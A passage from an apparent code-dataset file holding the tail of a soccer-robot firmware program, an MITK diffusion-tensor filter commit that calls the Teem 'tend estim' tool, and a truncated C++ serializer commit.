0;\n\t\t\t\t\/\/Serial.print(analogRead(KICK_ANA));\n\t\t\t\tSerial.print(millis());\n\t\t\t\tSerial.println(\"END\");\n\t\t\t}\n\t\t}\n\t}\n\telse{\n\t\tdigitalWriteFast(KICK_SIG, LOW);\n\t}\n}\n\nvoid calibIMUOffset(){\n\tSlave1.requestPacket(SLAVE1_COMMANDS::CALIB_OFFSET);\n\t\/\/ for (int i = 0; i < 50; i++){\n\t\/\/ \tSlave1.requestPacket(SLAVE1_COMMANDS::REQUEST_STANDARD_PACKET);\n\t\/\/ \tSlave1.receivePacket(inBuffer, 7, true);\n\t\t\n\t\/\/ \tf2b.b[0] = inBuffer[2];\n\t\/\/ \tf2b.b[1] = inBuffer[3];\n\t\/\/ \tf2b.b[2] = inBuffer[4];\n\t\/\/ \tf2b.b[3] = inBuffer[5];\n\t\/\/ \tbearing_offset += -f2b.f;\n\t\/\/ \tdelay(1);\n\t\/\/ }\n\t\/\/ bearing_offset \/= 50;\n}\n\nvoid getSlave1Data(){\n\tSlave1.requestPacket(SLAVE1_COMMANDS::REQUEST_STANDARD_PACKET);\n\tSlave1.receivePacket(inBuffer, 7, true);\n\t\n\tf2b.b[0] = inBuffer[2];\n\tf2b.b[1] = inBuffer[3];\n\tf2b.b[2] = inBuffer[4];\n\tf2b.b[3] = inBuffer[5];\n\n\tbearing = f2b.f;\n\tbearing_int = (int32_t)(bearing);\n\tTOBEARING180(bearing_int);\n\tTOBEARING180(bearing);\n}\n\nvoid getSlave2Data(){\n\tSlave2.getTSOPAngleStrength(tsopAngle, tsopStrength);\n\tTOBEARING180(tsopAngle);\n\ttsopAngle_r_goal = tsopAngle - goalAngle;\n\tTOBEARING180(tsopAngle_r_goal);\n}\n\nvoid getGoalData(){\n\tgoalArea = pixy1.blocks[0].width * pixy1.blocks[0].height;\n\n\tif (blocks > 0 && blocks < 1000\n\t\t&& goalArea > MIN_BLOCK_AREA\n\t\t&& abs(bearing) < 90\n\t\t){\n\t\tgoalDetected = true;\n\t\tgoalAngle = (pixy1.blocks[0].x - 160) * 75 \/ 360;\t\n\t\tgoalAngle_rel_field = goalAngle + bearing_int;\n\t\tlGoalDetectTime = 0;\t\t\n\t}\n\telse if (lGoalDetectTime > 100){\n\t\t\/\/ hasn't seen goal for 100ms\n\t\tgoalDetected = false;\n\t\tgoalAngle = 0;\n\t}\n}\n\nvoid getBackspinSpeed(){\n\tif (!kicking){\n\t\tif (tsopStrength > 70){\n\t\t\tif (abs(targetDir) < 60){\n\t\t\t\tif (ballInZone){\n\t\t\t\t\t\/\/ we're going forwards and we have the ball\n\t\t\t\t\t\/\/ no need for too much spin\n\t\t\t\t\tbackspinSpeed = 200;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t\/\/ forwards but ball not here yet!\n\t\t\t\t\tbackspinSpeed = 200;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (ballInZone){\n\t\t\t\t\t\/\/ we're not going forwards but we have the ball\n\t\t\t\t\t\/\/ best to spin a bit more as we need to guide the ball more\n\t\t\t\t\tbackspinSpeed = 150;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t\/\/ most common. Should only spin when ball is in front\n\t\t\t\t\tif (abs(tsopAngle) < 60){\n\t\t\t\t\t\tbackspinSpeed = 120;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t\/\/ no chance of getting ball any time soon\n\t\t\t\t\t\tbackspinSpeed = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\t\/\/ no ball detected!\n\t\t\tbackspinSpeed = 0;\n\t\t}\n\t}\n\telse{\n\t\tbackspinSpeed = -255;\n\t}\n}\n\nvoid checkBallInZone(){\n\tif (analogRead(LASER_SIG) < LASER_REF \n\t && abs(tsopAngle) < 30\n\t && tsopStrength > 150){\n\t\tballInZone = true;\n\t}\n\telse{\n\t\tballInZone = false;\n\t}\n}\n\nvoid serialDebug(){\n\tSerial.printf(\"%d\\t%d\\t%d\\t%.0f\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\",\n\t\t\t\t micros(),\n\t\t\t\t goalAngle_rel_field,\n\t\t\t\t goalArea,\n\t\t\t\t bearing,\n\t\t\t\t backDistance,\n\t\t\t\t rightDistance,\n\t\t\t\t leftDistance,\n\t\t\t\t tsopAngle,\n\t\t\t\t tsopStrength,\n\t\t\t\t ballInZone,\n\t\t\t\t targetDir,\n\t\t\t\t targetVelocity,\n\t\t\t\t rotatationCorrection);\n\n\tif(Serial.available()){\n\t\tchar serialCommand = Serial.read();\n\t\tCLEARSERIAL(); \/\/ make sure you only read first byte and clear everything else\n\t\tif (serialCommand == 'i'){\n\t\t\tSerial.println(\"DEBUG INFO\");\n\t\t\tSerial.printf(\"%s %s %s %s %s %s %s %s %s %s %s %s %s %s \\n\",\n\t\t\t\t \"micros()\",\n\t\t\t\t \"goalAngle_rel_field\",\n\t\t\t\t \"goalArea\",\n\t\t\t\t \"bearing\",\n\t\t\t\t \"backDistance\",\n\t\t\t\t \"rightDistance\",\n\t\t\t\t \"leftDistance\",\n\t\t\t\t \"tsopAngle\",\n\t\t\t\t \"tsopStrength\",\n\t\t\t\t \"ballInZone\",\n\t\t\t\t \"targetDir\",\n\t\t\t\t \"targetVelocity\",\n\t\t\t\t \"rotatationCorrection\");\n\t\t\tSerial.println(\"PRESS ANY KEY TO CONTINUE\");\n\t\t\t\/\/ wait for key\n\t\t\twhile(!Serial.available());\n\t\t\tCLEARSERIAL();\n\t\t}\n\t\telse{\n\t\t\tSerial.println(\"UNKNOWN COMMAND\");\n\t\t}\n\t}\n}\n\nint main(void){\t\n\tSerial.begin(115200);\n\n\tWire.begin(I2C_MASTER, 0x00, I2C_PINS_18_19, I2C_PULLUP_EXT, I2C_RATE_400);\n\n\tSPI.setSCK(14);\n\tSPI.begin();\t\n\n\tSlave1.begin(115200);\n\tSlave2.begin();\n\tSlave3.begin();\n\n\tpinMode(LED, OUTPUT);\n\tpinMode(LASER_SIG, INPUT);\n\n\tpinMode(KICK_SIG, OUTPUT);\n\tpinMode(KICK_ANA, INPUT);\n\n\tdigitalWrite(KICK_SIG, LOW);\n\n\tdigitalWrite(LED, HIGH);\n\n\tdelay(1000);\n\t\n\tcalibIMUOffset();\n\n\twhile(1){\t\t\n\t\t\/\/ save some time here as reading srf08's has seen to dramatically decrease performance\n\t\tswitch(loopCount % 4){\n\t\t\tcase 0: blocks = pixy1.getBlocks(); break;\n\t\t\tcase 1: srfBack.getRangeIfCan(backDistance); break;\n\t\t\tcase 2: srfRight.getRangeIfCan(rightDistance); break;\n\t\t\tcase 3: srfLeft.getRangeIfCan(leftDistance); break;\n\t\t}\n\n\t\t\/* orientation\/imu *\/\n\t\tgetSlave1Data();\n\t\t\/* end orientation\/imu *\/\n\n\t\t\/* tsops *\/\n\t\tgetSlave2Data();\n\t\t\/* end tsops *\/\n\n\t\t\/* goal detection *\/\n\t\tgetGoalData();\n\t\t\/* end goal detection *\/\n\n\t\t\/* face forwards *\/\n\t\tif (goalDetected){\n\t\t\ttargetBearing = goalAngle_rel_field;\n\t\t}\n\t\telse{\n\t\t\ttargetBearing = 0;\n\t\t}\n\n\t\tbearingPID.update();\n\t\t\/* end face forwards *\/\n\n\t\t\/* ball in zone *\/\n\t\tcheckBallInZone();\n\t\t\/* end ball in zone *\/\n\n\t\t\/*movement control*\/\n\n\t\ttargetVelocity = NORMAL_SPEED;\n\n\t\torbit_k = 1;\n\n\t\tif (tsopStrength > 156){\n\t\t\torbit_k = 1.1;\n\t\t}\n\t\telse if (tsopStrength > 150){\n\t\t\torbit_k = 1.05;\n\t\t}\n\t\telse if (tsopStrength > 140){\n\t\t\torbit_k = 1.0;\n\t\t}\n\t\telse if (tsopStrength > 130){\n\t\t\torbit_k = 1.0;\n\t\t}\n\t\telse if (tsopStrength > 120){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse if (tsopStrength > 100){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse if (tsopStrength > 70){\n\t\t\torbit_k = 1;\n\t\t}\n\t\telse{\n\t\t\ttargetVelocity = 0;\n\t\t}\n\n\n\t\t\/\/ if (tsopAngle > 90){\n\t\t\/\/ \ttargetDir = (orbit_k * 180 - 90 + tsopAngle);\n\t\t\/\/ }\n\t\t\/\/ else if (tsopAngle < -90){\n\t\t\/\/ \ttargetDir = (orbit_k * -180 + 90 + tsopAngle);\n\t\t\/\/ }\n\t\t\/\/ else{\n\t\t\ttargetDir = orbit_k * (270 - abs(tsopAngle)) \/ 90 * tsopAngle;\n\t\t\/\/ }\n\t\tgoalDetected = true;\n\t\tgoalAngle = 0;\n\t\tif (ballInZone && goalDetected && abs(goalAngle) < 10){\n\t\t\t\/\/ GO!\n\t\t\ttargetDir = goalAngle;\n\t\t\ttargetVelocity = RAMMING_SPEED;\n\t\t\t\/\/ kick!\n\t\t\tif (capChargedTime > KICK_TIME){\n\t\t\t\tkick();\n\t\t\t}\n\t\t}\n\t\tcheckEndKick();\n\n\t\t\/* end movement control *\/\n\n\t\t\/* backspin control *\/\n\t\tgetBackspinSpeed();\n\t\t\/* end backspin control *\/\n\n\t\tif (targetDir < 0) targetDir += 360;\n\t\ttargetDir = targetDir * 255\/360;\n\n\t\t\/\/ Slave3.moveRobot((uint8_t)targetDir, targetVelocity, rotatationCorrection);\n\t\tSlave3.moveMotorE(backspinSpeed);\n\n\t\t\/* debugging *\/\n\t\tserialDebug();\n\t\t\/* end debugging *\/\n\n\t\tloopCount++; \/\/ update loop count\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include <cstdlib>\n#include <ctime>\n\n#include <iostream>\n#include <fstream>\n\n#include <itksys\/SystemTools.hxx>\n#include \"mitkPixelType.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkImageFileReader.h\"\n#include <mitkIOUtil.h>\n\ntemplate< class D, class T >\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::TeemDiffusionTensor3DReconstructionImageFilter():\nm_EstimateErrorImage(false),m_Sigma(-19191919),\nm_EstimationMethod(TeemTensorEstimationMethodsLLS),\nm_NumIterations(1),m_ConfidenceThreshold(-19191919.0),\nm_ConfidenceFuzzyness(0.0),m_MinPlausibleValue(1.0)\n{\n}\n\ntemplate< class D, class T >\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::~TeemDiffusionTensor3DReconstructionImageFilter()\n{\n}\n\nvoid file_replace(std::string filename, std::string what, std::string with)\n{\n ofstream myfile2;\n\n std::locale C(\"C\");\n std::locale originalLocale2 = myfile2.getloc();\n myfile2.imbue(C);\n\n char filename2[512];\n sprintf(filename2, \"%s2\",filename.c_str());\n myfile2.open (filename2);\n\n std::string line;\n ifstream myfile (filename.c_str());\n\n std::locale originalLocale = myfile.getloc();\n myfile.imbue(C);\n\n if (myfile.is_open())\n {\n while (! myfile.eof() )\n {\n getline (myfile,line);\n itksys::SystemTools::ReplaceString(line,what.c_str(),with.c_str());\n myfile2 << line << std::endl;\n }\n myfile.close();\n }\n myfile2.close();\n itksys::SystemTools::RemoveFile(filename.c_str());\n rename(filename2,filename.c_str());\n\n myfile.imbue( originalLocale );\n myfile2.imbue( originalLocale2 );\n}\n\n\/\/ do the work\ntemplate< class D, class T >\nvoid\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::Update()\n{\n\n \/\/ save input image to nrrd file in temp-folder\n char filename[512];\n srand((unsigned)time(0));\n int random_integer = rand();\n sprintf( filename, \"dwi_%d.nhdr\",random_integer);\n\n try\n {\n mitk::IOUtil::Save(m_Input, filename.c_str());\n }\n catch (itk::ExceptionObject e)\n {\n std::cout << e << std::endl;\n }\n\n file_replace(filename,\"vector\",\"list\");\n\n \/\/ build up correct command from input params\n char command[4096];\n sprintf( command, \"tend estim -i %s -B kvp -o tensors_%d.nhdr -knownB0 true\",\n filename, random_integer);\n\n \/\/m_DiffusionImages;\n if(m_EstimateErrorImage)\n {\n sprintf( command, \"%s -ee error_image_%d.nhdr\", command, random_integer);\n }\n\n if(m_Sigma != -19191919)\n {\n sprintf( command, \"%s -sigma %f\", command, m_Sigma);\n }\n\n switch(m_EstimationMethod)\n {\n case TeemTensorEstimationMethodsLLS:\n sprintf( command, \"%s -est lls\", command);\n break;\n case TeemTensorEstimationMethodsMLE:\n sprintf( command, \"%s -est mle\", command);\n break;\n case TeemTensorEstimationMethodsNLS:\n sprintf( command, \"%s -est nls\", command);\n break;\n case TeemTensorEstimationMethodsWLS:\n sprintf( command, \"%s -est wls\", command);\n break;\n }\n\n sprintf( command, \"%s -wlsi %d\", command, m_NumIterations);\n\n if(m_ConfidenceThreshold != -19191919.0)\n {\n sprintf( command, \"%s -t %f\", command, m_ConfidenceThreshold);\n }\n\n sprintf( command, \"%s -soft %f\", command, m_ConfidenceFuzzyness);\n sprintf( command, \"%s -mv %f\", command, m_MinPlausibleValue);\n\n \/\/ call tend estim command\n std::cout << \"Calling <\" << command << \">\" << std::endl;\n int success = system(command);\n if(!success)\n {\n MITK_ERROR << \"system command could not be called!\";\n }\n\n remove(filename);\n sprintf( filename, \"dwi_%d.raw\", random_integer);\n remove(filename);\n\n \/\/ change kind from tensor to vector\n sprintf( filename, \"tensors_%d.nhdr\", random_integer);\n file_replace(filename,\"3D-masked-symmetric-matrix\",\"vector\");\n\n \/\/ read result as mitk::Image and provide it in m_Output\n typedef itk::ImageFileReader<VectorImageType> FileReaderType;\n typename FileReaderType::Pointer reader = FileReaderType::New();\n reader->SetFileName(filename);\n reader->Update();\n typename VectorImageType::Pointer vecImage = reader->GetOutput();\n\n remove(filename);\n sprintf( filename, \"tensors_%d.raw\", random_integer);\n remove(filename);\n\n typename ItkTensorImageType::Pointer itkTensorImage = ItkTensorImageType::New();\n itkTensorImage->SetSpacing( vecImage->GetSpacing() ); \/\/ Set the image spacing\n itkTensorImage->SetOrigin( vecImage->GetOrigin() ); \/\/ Set the image origin\n itkTensorImage->SetDirection( vecImage->GetDirection() ); \/\/ Set the image direction\n itkTensorImage->SetLargestPossibleRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->SetBufferedRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->SetRequestedRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->Allocate();\n\n itk::ImageRegionIterator<VectorImageType> it(vecImage,\n vecImage->GetLargestPossibleRegion());\n\n itk::ImageRegionIterator<ItkTensorImageType> it2(itkTensorImage,\n itkTensorImage->GetLargestPossibleRegion());\n it2 = it2.Begin();\n\n \/\/#pragma omp parallel private (it)\n {\n for(it=it.Begin();!it.IsAtEnd(); ++it, ++it2)\n {\n \/\/#pragma omp single nowait\n {\n VectorType vec = it.Get();\n TensorType tensor;\n for(int i=1;i<7;i++)\n tensor[i-1] = vec[i] * vec[0];\n it2.Set( tensor );\n }\n } \/\/ end for\n } \/\/ end ompparallel\n\n m_OutputItk = mitk::TensorImage::New();\n m_OutputItk->InitializeByItk(itkTensorImage.GetPointer());\n m_OutputItk->SetVolume( itkTensorImage->GetBufferPointer() );\n\n \/\/ in case: read resulting error-image and provide it in m_ErrorImage\n if(m_EstimateErrorImage)\n {\n \/\/ open error image here\n }\n\n}\n\n<commit_msg>COMP: variable is already a c string<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include <cstdlib>\n#include <ctime>\n\n#include <iostream>\n#include <fstream>\n\n#include <itksys\/SystemTools.hxx>\n#include \"mitkPixelType.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkImageFileReader.h\"\n#include <mitkIOUtil.h>\n\ntemplate< class D, class T >\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::TeemDiffusionTensor3DReconstructionImageFilter():\nm_EstimateErrorImage(false),m_Sigma(-19191919),\nm_EstimationMethod(TeemTensorEstimationMethodsLLS),\nm_NumIterations(1),m_ConfidenceThreshold(-19191919.0),\nm_ConfidenceFuzzyness(0.0),m_MinPlausibleValue(1.0)\n{\n}\n\ntemplate< class D, class T >\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::~TeemDiffusionTensor3DReconstructionImageFilter()\n{\n}\n\nvoid file_replace(std::string filename, std::string what, std::string with)\n{\n ofstream myfile2;\n\n std::locale C(\"C\");\n std::locale originalLocale2 = myfile2.getloc();\n myfile2.imbue(C);\n\n char filename2[512];\n sprintf(filename2, \"%s2\",filename.c_str());\n myfile2.open (filename2);\n\n std::string line;\n ifstream myfile (filename.c_str());\n\n std::locale originalLocale = myfile.getloc();\n myfile.imbue(C);\n\n if (myfile.is_open())\n {\n while (! myfile.eof() )\n {\n getline (myfile,line);\n itksys::SystemTools::ReplaceString(line,what.c_str(),with.c_str());\n myfile2 << line << std::endl;\n }\n myfile.close();\n }\n myfile2.close();\n itksys::SystemTools::RemoveFile(filename.c_str());\n rename(filename2,filename.c_str());\n\n myfile.imbue( originalLocale );\n myfile2.imbue( originalLocale2 );\n}\n\n\/\/ do the work\ntemplate< class D, class T >\nvoid\nmitk::TeemDiffusionTensor3DReconstructionImageFilter<D,T>\n::Update()\n{\n\n \/\/ save input image to nrrd file in temp-folder\n char filename[512];\n srand((unsigned)time(0));\n int random_integer = rand();\n sprintf( filename, \"dwi_%d.nhdr\",random_integer);\n\n try\n {\n mitk::IOUtil::Save(m_Input, filename);\n }\n catch (itk::ExceptionObject e)\n {\n std::cout << e << std::endl;\n }\n\n file_replace(filename,\"vector\",\"list\");\n\n \/\/ build up correct command from input params\n char command[4096];\n sprintf( command, \"tend estim -i %s -B kvp -o tensors_%d.nhdr -knownB0 true\",\n filename, random_integer);\n\n \/\/m_DiffusionImages;\n if(m_EstimateErrorImage)\n {\n sprintf( command, \"%s -ee error_image_%d.nhdr\", command, random_integer);\n }\n\n if(m_Sigma != -19191919)\n {\n sprintf( command, \"%s -sigma %f\", command, m_Sigma);\n }\n\n switch(m_EstimationMethod)\n {\n case TeemTensorEstimationMethodsLLS:\n sprintf( command, \"%s -est lls\", command);\n break;\n case TeemTensorEstimationMethodsMLE:\n sprintf( command, \"%s -est mle\", command);\n break;\n case TeemTensorEstimationMethodsNLS:\n sprintf( command, \"%s -est nls\", command);\n break;\n case TeemTensorEstimationMethodsWLS:\n sprintf( command, \"%s -est wls\", command);\n break;\n }\n\n sprintf( command, \"%s -wlsi %d\", command, m_NumIterations);\n\n if(m_ConfidenceThreshold != -19191919.0)\n {\n sprintf( command, \"%s -t %f\", command, m_ConfidenceThreshold);\n }\n\n sprintf( command, \"%s -soft %f\", command, m_ConfidenceFuzzyness);\n sprintf( command, \"%s -mv %f\", command, m_MinPlausibleValue);\n\n \/\/ call tend estim command\n std::cout << \"Calling <\" << command << \">\" << std::endl;\n int success = system(command);\n if(!success)\n {\n MITK_ERROR << \"system command could not be called!\";\n }\n\n remove(filename);\n sprintf( filename, \"dwi_%d.raw\", random_integer);\n remove(filename);\n\n \/\/ change kind from tensor to vector\n sprintf( filename, \"tensors_%d.nhdr\", random_integer);\n file_replace(filename,\"3D-masked-symmetric-matrix\",\"vector\");\n\n \/\/ read result as mitk::Image and provide it in m_Output\n typedef itk::ImageFileReader<VectorImageType> FileReaderType;\n typename FileReaderType::Pointer reader = FileReaderType::New();\n reader->SetFileName(filename);\n reader->Update();\n typename VectorImageType::Pointer vecImage = reader->GetOutput();\n\n remove(filename);\n sprintf( filename, \"tensors_%d.raw\", random_integer);\n remove(filename);\n\n typename ItkTensorImageType::Pointer itkTensorImage = ItkTensorImageType::New();\n itkTensorImage->SetSpacing( vecImage->GetSpacing() ); \/\/ Set the image spacing\n itkTensorImage->SetOrigin( vecImage->GetOrigin() ); \/\/ Set the image origin\n itkTensorImage->SetDirection( vecImage->GetDirection() ); \/\/ Set the image direction\n itkTensorImage->SetLargestPossibleRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->SetBufferedRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->SetRequestedRegion( vecImage->GetLargestPossibleRegion() );\n itkTensorImage->Allocate();\n\n itk::ImageRegionIterator<VectorImageType> it(vecImage,\n vecImage->GetLargestPossibleRegion());\n\n itk::ImageRegionIterator<ItkTensorImageType> it2(itkTensorImage,\n itkTensorImage->GetLargestPossibleRegion());\n it2 = it2.Begin();\n\n \/\/#pragma omp parallel private (it)\n {\n for(it=it.Begin();!it.IsAtEnd(); ++it, ++it2)\n {\n \/\/#pragma omp single nowait\n {\n VectorType vec = it.Get();\n TensorType tensor;\n for(int i=1;i<7;i++)\n tensor[i-1] = vec[i] * vec[0];\n it2.Set( tensor );\n }\n } \/\/ end for\n } \/\/ end ompparallel\n\n m_OutputItk = mitk::TensorImage::New();\n m_OutputItk->InitializeByItk(itkTensorImage.GetPointer());\n m_OutputItk->SetVolume( itkTensorImage->GetBufferPointer() );\n\n \/\/ in case: read resulting error-image and provide it in m_ErrorImage\n if(m_EstimateErrorImage)\n {\n \/\/ open error image here\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/@ {\"targets\":[{\"name\":\"serializer.hpp\",\"type\":\"include\"}]}\n\n#ifndef TEMPLE_SERIALIZER_HPP\n#define TEMPLE_SERIALIZER_HPP\n\n#include \"item.hpp\"\n#include \"treenode.hpp\"\n#include <stack>\n\nnamespace Temple\n\t{\n\tnamespace\n\t\t{\n\t\ttemplate<class Callback>\n\t\tclass VisitorBase\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\tvirtual bool atEnd() const noexcept=0;\n\t\t\t\tvirtual void advance() noexcept=0;\n\t\t\t\tvirtual void itemProcess(Callback& cb) const=0;\n\t\t\t\tvirtual ~VisitorBase()=default;\n\t\t\t\tchar terminator() const noexcept\n\t\t\t\t\t{return m_terminator;}\n\t\t\tprotected:\n\t\t\t\texplicit VisitorBase(char term) noexcept:\n\t\t\t\t\tm_terminator(term)\n\t\t\t\t\t{}\n\n\t\t\tprivate:\n\t\t\t\tchar m_terminator;\n\t\t\t};\n\n\t\ttemplate<class Callback,class Container>\n\t\tclass Visitor:public VisitorBase<Callback>\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\texplicit Visitor(Container&&)=delete;\n\t\t\t\texplicit Visitor(const Container& container,char term):\n\t\t\t\t\t VisitorBase<Callback>(term)\n\t\t\t\t\t,m_begin(container.begin())\n\t\t\t\t\t,m_current(container.begin())\n\t\t\t\t\t,m_end(container.end())\n\t\t\t\t\t{}\n\n\t\t\t\tbool atEnd() const noexcept\n\t\t\t\t\t{return m_current==m_end;}\n\n\t\t\t\tbool atBegin() const noexcept\n\t\t\t\t\t{return m_current==m_begin;}\n\n\t\t\t\tvoid advance() noexcept\n\t\t\t\t\t{++m_current;}\n\n\t\t\t\tvoid itemProcess(Callback& cb) const\n\t\t\t\t\t{cb(*m_current,*this);}\n\n\t\t\t\tstatic auto create(const Container& cnt,char term)\n\t\t\t\t\t{return std::unique_ptr<VisitorBase<Callback>>(new Visitor(cnt,term));}\n\n\t\t\tprivate:\n\t\t\t\ttypename Container::const_iterator m_begin;\n\t\t\t\ttypename Container::const_iterator m_current;\n\t\t\t\ttypename Container::const_iterator m_end;\n\t\t\t};\n\n\t\ttemplate<class Cstr,class Sink>\n\t\tstatic void write(Cstr src,Sink& sink)\n\t\t\t{\n\t\t\twhile(true)\n\t\t\t\t{\n\t\t\t\tauto ch_in=*src;\n\t\t\t\tif(ch_in=='\\0')\n\t\t\t\t\t{return;}\n\t\t\t\tif(ch_in=='\\\\' || ch_in=='\\\"')\n\t\t\t\t\t{putc('\\\\',sink);}\n\t\t\t\tputc(ch_in,sink);\n\t\t\t\t++src;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\ttemplate<class StorageModel,class Sink>\n\t\tclass Acceptor\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\tusing MapType=typename StorageModel::template MapType< std::unique_ptr< ItemBase<StorageModel> > > ;\n\t\t\t\tusing CompoundArray=typename StorageModel::template ArrayType<MapType>;\n\n\t\t\t\tusing VisitorArray=Visitor<Acceptor,CompoundArray>;\n\t\t\t\tusing VisitorMap=Visitor<Acceptor,MapType>;\n\n\t\t\t\texplicit Acceptor(ItemBase<StorageModel>&&)=delete;\n\n\t\t\t\texplicit Acceptor(const ItemBase<StorageModel>& root,Sink& sink):r_sink(sink)\n\t\t\t\t\t{\n\t\t\t\t\tif(root.array())\n\t\t\t\t\t\t{m_stack.push(VisitorArray::create(root.template value<CompoundArray>(),']') );}\n\t\t\t\t\telse\n\t\t\t\t\t\t{m_stack.push(VisitorMap::create(root.template value<MapType>(),'}'));}\n\t\t\t\t\t}\n\n\t\t\t\tvoid run()\n\t\t\t\t\t{\n\t\t\t\t\twhile(!m_stack.empty())\n\t\t\t\t\t\t{\n\t\t\t\t\t\tauto& visitor=m_stack.top();\n\t\t\t\t\t\tif(visitor->atEnd())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tputc(visitor->terminator(),r_sink);\n\t\t\t\t\t\t\tm_stack.pop();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvisitor->itemProcess(*this);\n\t\t\t\t\t\t\tvisitor->advance();\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\tvoid operator()(const MapType& node_current,const VisitorArray& visitor)\n\t\t\t\t\t{\n\t\t\t\t\tputc(visitor.atBegin()?'[':',',r_sink);\n\t\t\t\t\tm_stack.push(VisitorMap::create(node_current,'}'));\n\t\t\t\t\t}\n\n\t\t\t\tvoid operator()(const typename MapType::value_type& node_current,const VisitorMap& visitor)\n\t\t\t\t\t{\n\t\t\t\t\tputc(visitor.atBegin()?'{':',',r_sink);\n\t\t\t\t\tputc('\"',r_sink);\n\t\t\t\t\twrite(node_current.first.c_str(),r_sink);\n\t\t\t\t\tputc('\"',r_sink);\n\t\t\t\t\t}\n\n\t\t\tprivate:\n\t\t\t\tSink& r_sink;\n\t\t\t\tstd::stack< std::unique_ptr< VisitorBase<Acceptor> > > m_stack;\n\t\t\t};\n\t\t}\n\n\ttemplate<class StorageModel,class Sink>\n\tvoid temple_store(const ItemBase<StorageModel>& root,Sink& sink)\n\t\t{Acceptor<StorageModel,Sink>(root,sink).run();}\n\t}\n\n#endif\n<commit_msg>Fixed empty objects<commit_after>\/\/@ {\"targets\":[{\"name\":\"serializer.hpp\",\"type\":\"include\"}]}\n\n#ifndef TEMPLE_SERIALIZER_HPP\n#define TEMPLE_SERIALIZER_HPP\n\n#include \"item.hpp\"\n#include \"treenode.hpp\"\n#include <stack>\n\nnamespace Temple\n\t{\n\tnamespace\n\t\t{\n\t\ttemplate<class Callback>\n\t\tclass VisitorBase\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\tvirtual bool atEnd() const noexcept=0;\n\t\t\t\tvirtual void advance() noexcept=0;\n\t\t\t\tvirtual void itemProcess(Callback& cb) const=0;\n\t\t\t\tvirtual ~VisitorBase()=default;\n\t\t\t\tchar terminator() const noexcept\n\t\t\t\t\t{return m_terminator;}\n\t\t\tprotected:\n\t\t\t\texplicit VisitorBase(char term) noexcept:\n\t\t\t\t\tm_terminator(term)\n\t\t\t\t\t{}\n\n\t\t\tprivate:\n\t\t\t\tchar m_terminator;\n\t\t\t};\n\n\t\ttemplate<class Callback,class Container>\n\t\tclass Visitor:public VisitorBase<Callback>\n\t\t\t{\n\t\t\tpublic:\n\t\t\t\texplicit Visitor(Container&&)=delete;\n\t\t\t\texplicit Visitor(const Container& container,char term):\n\t\t\t\t\t VisitorBase<Callback>(term)\n\t\t\t\t\t,m_begin(container.begin())\n\t\t\t\t\t,m_current(container.begin())\n\t\t\t\t\t,m_end(container.end())\n\t\t\t\t\t{}\n\n\t\t\t\tbool atEnd() const noexcept\n\t\t\t\t\t{return m_current==m_end;}\n\n\t\t\t\tbool atBegin() const noexcept\n\t\t\t\t\t{return m_current==m_begin;}\n\n\t\t\t\tvoid advance() noexcept\n\t\t\t\t\t{++m_current;}\n\n\t\t\t\tvoid itemProcess(Callback& cb) const\n\t\t\t\t\t{cb(*m_current,*this);}\n\n\t\t\t\tstatic auto create(const Container& cnt,char term)\n\t\t\t\t\t{return std::unique_ptr<VisitorBase<Callback>>(new Visitor(cnt,term));}\n\n\t\t\tprivate:\n\t\t\t\ttypename Container::const_iterator m_begin;\n\t\t\t\ttypename Container::const_iterator m_current;\n\t\t\t\ttypename Container::const_iterator m_end;\n\t\t\t};\n\n\t\ttemplate<class Cstr,class Sink>\n\t\tstatic void write(Cstr src,Sink& sink)\n\t\t\t{\n\t\t\twhile(true)\n\t\t\t\t{\n\t\t\t\tauto ch_in=*src;\n\t\t\t\tif(ch_in=='\\0')\n\t\t\t\t\t{return;}\n\t\t\t\tif(ch_in=='\\\\' || 